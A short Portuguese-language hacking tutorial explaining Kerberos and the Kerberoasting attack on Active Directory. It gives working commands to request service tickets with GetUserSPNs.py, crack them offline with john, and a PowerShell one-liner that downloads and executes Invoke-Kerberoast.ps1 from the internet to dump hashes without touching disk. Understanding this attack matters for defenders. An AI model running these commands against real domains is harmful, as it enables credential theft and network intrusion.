.---------------. | C:\>by oisina | | -._ .-. | | -._| | | | | -._|"|"| | $ templo7k.ninja | -._|.-.| | |_______________| /-.-.-.-.-.-.-.-\ /-.-.-.-.-.-.-.-.-\ /-.-.-.-.-.-.-.-.-.-\ /_____/__________\__o_\ \.___________________./
[#] Primeiramente, antes de explorar o Kerberoasting, é nosso dever entender o que é e como funciona o Kerberos!
[ What is Kerberos? ]
Em resumo, Kerberos é basicamente um protocolo de autenticação utilizado para verificar e identificar usuários do Active Directory.
[ How does Kerberos work? ]
A autenticação do Kerberos funciona da seguinte forma:
o Kerberos usa uma criptografia de chave simétrica e um centro de distribuição de chaves,
o KDC (Key Distribution Center) para que ele verifique e autentique novas chaves e identidades
dos usuários do AD. Envolvendo aspectos como um servidor para concessão de tickets,
conecta o usuário ao servidor de serviço do Kerberos e um banco de dados que armazena a senha e
identificação dos usuários que foram verificados.
[ Kerberoasting ]
Qualquer usuário dentro do domínio pode fazer a requisição de tickets para qualquer serviço
(TGS - ticket granting server), não é necessário um usuário com privilégios altos, além disso,
o serviço não precisa estar ativo para que póssamos requisitar o ticket,
serviços executados em nome de contas de usuários no AD.
Os tickets TGS são criptografados como chaves da senha de um usuário,
o que significa que podemos quebrar essa chave offline e pegar a credencial do usuário.
Primeiro, para pegar um usuário SPN, podemos utilizar o script GetUserSPNs.py, desta forma ↓
oisina@7k > python3 GetUserSPNs.py -request -dc-ip DC_IP DOMAIN/user -save
Assim, o script te trará um usuário SPN juntamente com sua credencial criptografada no tipo
KRB5TGS-REP, agora, podemos crackear utilizando o john ou hashcat! x)
oisina@7k > john /path/to/krb5.hashes --wordlist=wordlist.txt
[#] Kerberoast sem tocar no disco (Windows only):
ps > IEX (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
ps > Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
thanks for reading :3